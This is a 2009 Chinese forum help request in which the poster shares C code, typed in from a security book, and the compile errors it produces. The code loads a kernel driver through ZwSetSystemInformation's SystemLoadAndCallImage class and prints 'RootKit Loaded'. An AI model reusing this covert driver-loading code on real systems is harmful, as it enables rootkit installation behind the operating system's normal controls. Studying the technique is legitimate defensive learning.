-
-
[求助]利用SetSystemInformation注册驱动?
-
发表于:
2009-3-23 09:47
4732
-
[求助]利用SetSystemInformation注册驱动?
《代码攻防之道》书上的代码,照敲了下来,发现编译出错,可不可以请各位大牛解释一下~~~感谢!
代码:
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
typedef struct _UNICODE_STRING{
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength/2),length_is((length/2)] USHORT *Buffer;
#else
PWSTR Buffer;
#endif
}UNICODE_STRING,*PUNICODE_STRING;
typedef long NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status)>=0)
[COLOR="Red"]NTSTATUS(__stdcall *ZwSetSystemInformation)(
IN DWORD SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength
);
VOID (__stdcall *RtlInitUnicodeString)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);[/COLOR]typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
{
UNICODE_STRING ModuleName;
}SYSTEM_LOAD_AND_CALL_IMAGE,*PSYSTEM_LOAD_AND_CALL_IMAGE;
#define SystemLoadAndCallImage 38
void main(void)
{
SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;
WCHAR daPath[]=L"\\??\\c:\\BASIC.sys";
if(!(RtlInitUnicodeString=(void*)GetProcAddress(GetModuleHandle("ntdll.dll"),"RtlInitUnicodeString")))
{
exit(1);
}
if(!(ZwSetSystemInformation=(void*)GetProcAddress(GetModuleHandle("ntdll.dll"),"ZwSetSystemInformation")))
{
exit(1);
}
RtlInitUnicodeString(&(GregsImage.ModuleName),daPath);
if(NT_SUCCESS(
ZwSetSystemInformation(SystemLoadAndCallImage,
&GregsImage,
sizeof(SYSTEM_LOAD_AND_CALL_IMAGE))))
{
printf("RootKit Loaded.\n");
}
else
{
printf("RootKit isn't loaded.\n");
}
}
编译错误信息:
--------------------Configuration: HackReg - Win32 Debug--------------------
Compiling...
HackReg.cpp
E:\MySys\HackReg\HackReg.cpp(42) : error C2440: '=' : cannot convert from 'void *' to 'void (__stdcall *)(struct _UNICODE_STRING *,const unsigned short *)'
Conversion from 'void*' to pointer to non-'void' requires an explicit cast
E:\MySys\HackReg\HackReg.cpp(46) : error C2440: '=' : cannot convert from 'void *' to 'long (__stdcall *)(unsigned long,void *,unsigned long)'
Conversion from 'void*' to pointer to non-'void' requires an explicit cast
Error executing cl.exe.
HackReg.obj - 2 error(s), 0 warning(s)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课